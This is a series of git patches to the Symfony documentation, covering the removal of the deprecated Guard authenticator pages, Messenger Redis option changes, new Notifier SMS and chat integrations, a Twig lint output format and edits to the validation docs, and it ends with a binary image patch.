-    If you are implementing the :class:`Symfony\\Component\\Security\\Guard\\AuthenticatorInterface`
-    instead of extending the :class:`Symfony\\Component\\Security\\Guard\\AbstractGuardAuthenticator`
-    class, you have to implement this method. It will be called
-    after a successful authentication to create and return the token (a
-    class implementing :class:`Symfony\\Component\\Security\\Guard\\Token\\GuardTokenInterface`)
-    for the user, who was supplied as the first argument.
-
-The picture below shows how Symfony calls Guard Authenticator methods:
-
-.. raw:: html
-
-    <object data="../_images/security/authentication-guard-methods.svg" type="image/svg+xml"></object>
-
-.. _guard-customize-error:
-
-Customizing Error Messages
---------------------------
-
-When ``onAuthenticationFailure()`` is called, it is passed an ``AuthenticationException``
-that describes *how* authentication failed via its ``$exception->getMessageKey()`` (and
-``$exception->getMessageData()``) method. The message will be different based on *where*
-authentication fails (i.e. ``getUser()`` versus ``checkCredentials()``).
-
-But, you can also return a custom message by throwing a
-:class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-You can throw this from ``getCredentials()``, ``getUser()`` or ``checkCredentials()``
-to cause a failure::
-
-    // src/Security/TokenAuthenticator.php
-    namespace App\Security;
-
-    // ...
-
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-
-    class TokenAuthenticator extends AbstractGuardAuthenticator
-    {
-        // ...
-
-        public function getCredentials(Request $request)
-        {
-            // ...
-
-            if ($token == 'ILuvAPIs') {
-                throw new CustomUserMessageAuthenticationException(
-                    'ILuvAPIs is not a real API key: it\'s just a silly phrase'
-                );
-            }
-
-            // ...
-        }
-
-        // ...
-    }
-
-In this case, since "ILuvAPIs" is a ridiculous API key, you could include an easter
-egg to return a custom message if someone tries this:
-
-.. code-block:: terminal
-
-    curl -H "X-AUTH-TOKEN: ILuvAPIs" http://localhost:8000/
-    # {"message":"ILuvAPIs is not a real API key: it's just a silly phrase"}
-
-.. _guard-manual-auth:
-
-Manually Authenticating a User
-------------------------------
-
-Sometimes you might want to manually authenticate a user - like after the user
-completes registration. To do that, use your authenticator and a service called
-``GuardAuthenticatorHandler``::
-
-    // src/Controller/RegistrationController.php
-    namespace App\Controller;
-
-    // ...
-    use App\Security\LoginFormAuthenticator;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Security\Guard\GuardAuthenticatorHandler;
-
-    class RegistrationController extends AbstractController
-    {
-        public function register(LoginFormAuthenticator $authenticator, GuardAuthenticatorHandler $guardHandler, Request $request): Response
-        {
-            // ...
-
-            // after validating the user and saving them to the database
-            // authenticate the user and use onAuthenticationSuccess on the authenticator
-            return $guardHandler->authenticateUserAndHandleSuccess(
-                $user,          // the User object you just created
-                $request,
-                $authenticator, // authenticator whose onAuthenticationSuccess you want to use
-                'main'          // the name of your firewall in security.yaml
-            );
-        }
-    }
-
-Avoid Authenticating the Browser on Every Request
--------------------------------------------------
-
-If you create a Guard login system that's used by a browser and you're experiencing
-problems with your session or CSRF tokens, the cause could be bad behavior by your
-authenticator. When a Guard authenticator is meant to be used by a browser, you
-should *not* authenticate the user on *every* request. In other words, you need to
-make sure the ``supports()`` method *only* returns ``true`` when
-you actually *need* to authenticate the user. Why? Because, when ``supports()``
-returns true (and authentication is ultimately successful), for security purposes,
-the user's session is "migrated" to a new session id.
-
-This is an edge-case, and unless you're having session or CSRF token issues, you
-can ignore this. Here is an example of good and bad behavior::
-
-    public function supports(Request $request): bool
-    {
-        // GOOD behavior: only authenticate (i.e. return true) on a specific route
-        return 'login_route' === $request->attributes->get('_route') && $request->isMethod('POST');
-
-        // e.g. your login system authenticates by the user's IP address
-        // BAD behavior: So, you decide to *always* return true so that
-        // you can check the user's IP address on every request
-        return true;
-    }
-
-The problem occurs when your browser-based authenticator tries to authenticate
-the user on *every* request - like in the IP address-based example above. There
-are two possible fixes:
-
-1. If you do *not* need authentication to be stored in the session, set
-   ``stateless: true`` under your firewall.
-2. Update your authenticator to avoid authentication if the user is already
-   authenticated:
-
-.. code-block:: diff
-
-      // src/Security/MyIpAuthenticator.php
-      // ...
-
-    + use Symfony\Component\Security\Core\Security;
-
-      class MyIpAuthenticator
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function supports(Request $request): bool
-          {
-    +         // if there is already an authenticated user (likely due to the session)
-    +         // then return false and skip authentication: there is no need.
-    +         if ($this->security->getUser()) {
-    +             return false;
-    +         }
-
-    +         // the user is not logged in, so the authenticator should continue
-    +         return true;
-          }
-      }
-
-If you use autowiring, the ``Security``  service will automatically be passed to
-your authenticator.
-
-Frequently Asked Questions
---------------------------
-
-**Can I have Multiple Authenticators?**
-    Yes! But when you do, you'll need to choose only *one* authenticator to be your
-    "entry_point". This means you'll need to choose *which* authenticator's ``start()``
-    method should be called when an anonymous user tries to access a protected resource.
-    For more details, see :doc:`/security/multiple_guard_authenticators`.
-
-**Can I use this with form_login?**
-    Yes! ``form_login`` is *one* way to authenticate a user, so you could use
-    it *and* then add one or more authenticators. Using a guard authenticator doesn't
-    collide with other ways to authenticate.
-
-**Can I use this with FOSUserBundle?**
-    Yes! Actually, FOSUserBundle doesn't handle security: it only gives you a
-    ``User`` object and some routes and controllers to help with login, registration,
-    forgot password, etc. When you use FOSUserBundle, you typically use ``form_login``
-    to actually authenticate the user. You can continue doing that (see previous
-    question) or use the ``User`` object from FOSUserBundle and create your own
-    authenticator(s) (like in this article).
-
-.. _`Social Authentication`: https://github.com/knpuniversity/oauth2-client-bundle#authenticating-with-guard
-.. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
deleted file mode 100644
index 7e121fcc6cc..00000000000
--- a/security/multiple_guard_authenticators.rst
+++ /dev/null
@@ -1,185 +0,0 @@
-How to Use Multiple Guard Authenticators
-========================================
-
-.. deprecated:: 5.3
-
-    Guard authenticators are deprecated since Symfony 5.3 in favor of the
-    :doc:`new authenticator-based system </security/authenticator_manager>`.
-
-The Guard authentication component allows you to use many different
-authenticators at a time.
-
-An entry point is a service id (of one of your authenticators) whose
-``start()`` method is called to start the authentication process.
-
-Multiple Authenticators with Shared Entry Point
------------------------------------------------
-
-Sometimes you want to offer your users different authentication mechanisms like
-a form login and a Facebook login while both entry points redirect the user to
-the same login page.
-However, in your configuration you have to explicitly say which entry point
-you want to use.
-
-This is how your security configuration can look in action:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                            - App\Security\FacebookConnectAuthenticator
-                        entry_point: App\Security\LoginFormAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard entry-point="App\Security\LoginFormAuthenticator">
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                        <authenticator>App\Security\FacebookConnectAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\FacebookConnectAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->entryPoint(LoginFormAuthenticator::class)
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                    FacebookConnectAuthenticator::class,
-                ]);
-        };
-
-There is one limitation with this approach - you have to use exactly one entry point.
-
-Multiple Authenticators with Separate Entry Points
---------------------------------------------------
-
-However, there are use cases where you have authenticators that protect different
-parts of your application. For example, you have a login form that protects
-the secured area of your application front-end and API end points that are
-protected with API tokens. As you can only configure one entry point per firewall,
-the solution is to split the configuration into two separate firewalls:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            firewalls:
-                api:
-                    pattern: ^/api/
-                    guard:
-                        authenticators:
-                            - App\Security\ApiTokenAuthenticator
-                default:
-                    anonymous: true
-                    lazy: true
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-            access_control:
-                - { path: '^/login', roles: IS_AUTHENTICATED_ANONYMOUSLY }
-                - { path: '^/api', roles: ROLE_API_USER }
-                - { path: '^/', roles: ROLE_USER }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="api" pattern="^/api/">
-                    <guard>
-                        <authenticator>App\Security\ApiTokenAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <firewall name="default" anonymous="true" lazy="true">
-                    <guard>
-                        <authenticator>App\Security\LoginFormAuthenticator</authenticator>
-                    </guard>
-                </firewall>
-                <rule path="^/login" role="IS_AUTHENTICATED_ANONYMOUSLY"/>
-                <rule path="^/api" role="ROLE_API_USER"/>
-                <rule path="^/" role="ROLE_USER"/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiTokenAuthenticator;
-        use App\Security\LoginFormAuthenticator;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->firewall('api')
-                ->pattern('^/api')
-                ->guard()
-                ->authenticators([
-                    ApiTokenAuthenticator::class,
-                ]);
-
-            $defaultFirewall = $security->firewall('default');
-            $defaultFirewall->lazy(true);
-            $defaultFirewall->anonymous();
-            $defaultFirewall->guard()
-                ->authenticators([
-                    LoginFormAuthenticator::class,
-                ]);
-
-            $security->accessControl()
-                ->path('^/login')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY']);
-            $security->accessControl()
-                ->path('^/api')
-                ->roles(['ROLE_API_USER']);
-            $security->accessControl()
-                ->path('^/')
-                ->roles(['ROLE_USER']);
-        };
-
diff --git a/security/password_migration.rst b/security/password_migration.rst
index 6dfcb39cbb2..62d098f8bf7 100644
--- a/security/password_migration.rst
+++ b/security/password_migration.rst
@@ -141,7 +141,7 @@ After this, you're done and passwords are always hashed as secure as possible!
 Provide the Password when using Guard
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When you're using a custom :doc:`guard authenticator </security/guard_authentication>`,
+When you're using a custom :doc:`authenticator </security/authenticator_manager>`,
 you need to implement :class:`Symfony\\Component\\Security\\Guard\\PasswordAuthenticatedInterface`.
 This interface defines a ``getPassword()`` method that returns the password
 for this login request. This password is used in the migration process::

From 75ba6c81a11de65e715ab91c4d5c2e6831fc0d99 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Jul 2021 13:41:58 +0200
Subject: [PATCH 2364/7107] [Messenger] Document the changes in the
 delete_after_ack Redis option

---
 messenger.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c2ece12daf9..ecc009f932a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1354,7 +1354,7 @@ The Redis transport DSN may looks like this:
     # .env
     MESSENGER_TRANSPORT_DSN=redis://localhost:6379/messages
     # Full DSN Example
-    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0
+    MESSENGER_TRANSPORT_DSN=redis://password@localhost:6379/messages/symfony/consumer?auto_setup=true&serializer=1&stream_max_entries=0&dbindex=0&delete_after_ack=true
     # Redis Cluster Example
     MESSENGER_TRANSPORT_DSN=redis://host-01:6379,redis://host-02:6379,redis://host-03:6379,redis://host-04:6379
     # Unix Socket Example
@@ -1427,6 +1427,12 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     The ``delete_after_reject`` and ``lazy`` options were introduced in Symfony 5.2.
 
+.. deprecated:: 5.4
+
+    Not setting a explicit value for the ``delete_after_ack`` option is
+    deprcated since Symfony 5.4. In Symfony 6.0, the default value of this
+    option changes from ``false`` to ``true``.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From d14cc2bed60c59bd20c18d3df384691b98e0314a Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Fri, 23 Jul 2021 15:17:35 +0200
Subject: [PATCH 2365/7107] Add Yunpian notifier documentation

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index d7b7990c3e2..90e042d04ff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -78,6 +78,7 @@ SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
@@ -95,7 +96,7 @@ Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@defau
 
 .. versionadded:: 5.4
 
-    The MessageMedia and Smsc integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc and Yunpian integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 6ab1a8decbed3911958268eaabea2b858564969e Mon Sep 17 00:00:00 2001
From: Adrien Chinour <git@chinour.fr>
Date: Mon, 5 Jul 2021 01:20:03 +0200
Subject: [PATCH 2366/7107]  [Notifier] Add AmazonSns Bridge

---
 notifier.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 90e042d04ff..05f5645b30d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -57,6 +57,7 @@ with a couple popular SMS services:
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
 AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@default?from=FROM``
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
 FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
@@ -96,7 +97,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc and Yunpian integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian and AmazonSns integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -161,6 +162,7 @@ integration with these chat services:
 ==============  ====================================  ===========================================================================
 Service         Package                               DSN
 ==============  ====================================  ===========================================================================
+AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
 FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
@@ -191,6 +193,10 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
     The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
 
+.. versionadded:: 5.4
+
+    The AmazonSns integration was introduced in Symfony 5.4.
+
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash

From 9c346486e55dc480edbfb1d8480b1284625323d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Jul 2021 09:51:02 +0200
Subject: [PATCH 2367/7107] Typo

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index ecc009f932a..eb83a48903a 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1430,7 +1430,7 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 .. deprecated:: 5.4
 
     Not setting a explicit value for the ``delete_after_ack`` option is
-    deprcated since Symfony 5.4. In Symfony 6.0, the default value of this
+    deprecated since Symfony 5.4. In Symfony 6.0, the default value of this
     option changes from ``false`` to ``true``.
 
 In Memory Transport

From 639a4619206fb9d621eafa93b3a4309b192d2cc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 09:19:18 +0200
Subject: [PATCH 2368/7107] [Twig] Document the GitHub actions format in
 lint:twig

---
 templates.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/templates.rst b/templates.rst
index de12df7ba13..dd04e6bafe9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -612,6 +612,17 @@ errors. It's useful to run it before deploying your application to production
     # you can also show the deprecated features used in your templates
     $ php bin/console lint:twig --show-deprecations templates/email/
 
+When running the linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:twig --format=github
+
+.. versionadded:: 5.4
+
+    The ``github`` output format was introduced in Symfony 5.4.
+
 Inspecting Twig Information
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1163,3 +1174,4 @@ Learn more
 .. _`Twig template inheritance`: https://twig.symfony.com/doc/2.x/tags/extends.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/2.x/tags/block.html
 .. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions

From 13f97d7692e665f05f45227e440cd3dfe7c2892a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Jul 2021 11:25:17 +0200
Subject: [PATCH 2369/7107] Reword

---
 reference/configuration/framework.rst |  2 ++
 validation.rst                        | 24 ++++++++++--------------
 2 files changed, 12 insertions(+), 14 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index da817c5df39..b8cd89bfe71 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2371,6 +2371,8 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+.. _reference-validation:
+
 validation
 ~~~~~~~~~~
 
diff --git a/validation.rst b/validation.rst
index e8a422dfde0..0f8d0d6e1a0 100644
--- a/validation.rst
+++ b/validation.rst
@@ -11,6 +11,10 @@ into a database or passed to a web service.
 Symfony provides a `Validator`_ component to handle this for you. This
 component is based on the `JSR303 Bean Validation specification`_.
 
+.. index::
+   pair: Validation; Installation
+   pair: Validation; Configuration
+
 Installation
 ------------
 
@@ -21,6 +25,12 @@ install the validator before using it:
 
     $ composer require symfony/validator doctrine/annotations
 
+.. note::
+
+    If your application doesn't use Symfony Flex, you might need to do some
+    manual configuration to enable validation. Check out the
+    :ref:`Validation configuration reference <reference-validation>`.
+
 .. index::
    single: Validation; The basics
 
@@ -206,20 +216,6 @@ Inside the template, you can output the list of errors exactly as needed:
     Each validation error (called a "constraint violation"), is represented by
     a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
 
-.. index::
-   pair: Validation; Configuration
-
-Configuration
--------------
-
-In the previous Symfony versions, enabling the validator in configuration was a requirement. It's not the case anymore, the validation is enabled by default as long as the Validator component is installed. In the same way, annotations are enabled by default if ``doctrine/annotations`` is installed.
-
-.. tip::
-
-    When using PHP, YAML, and XML files instead of annotations, Symfony looks
-    for by default in the ``config/validator/`` directory, but you can configure
-    other directories with the :ref:`validation.mapping.paths <reference-validation-mapping>` option.
-
 .. index::
    single: Validation; Constraints
 

From 3c98ba82d47079d956141a79af2cf57512d1c116 Mon Sep 17 00:00:00 2001
From: Kamil Kubicki <dev@kamil-kubicki.com>
Date: Sat, 24 Apr 2021 00:42:33 +0200
Subject: [PATCH 2370/7107] [Notifier] Documentation for Microsoft Teams
 Options

---
 .../notifier/microsoft_teams/message-card.png | Bin 0 -> 27738 bytes
 _images/notifier/microsoft_teams/message.png  | Bin 0 -> 7777 bytes
 notifier/chatters.rst                         |  93 ++++++++++++++++++
 3 files changed, 93 insertions(+)
 create mode 100644 _images/notifier/microsoft_teams/message-card.png
 create mode 100644 _images/notifier/microsoft_teams/message.png

diff --git a/_images/notifier/microsoft_teams/message-card.png b/_images/notifier/microsoft_teams/message-card.png
new file mode 100644
index 0000000000000000000000000000000000000000..05f505fb3e0960e55017eb437049946e834002fe
GIT binary patch
literal 27738
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
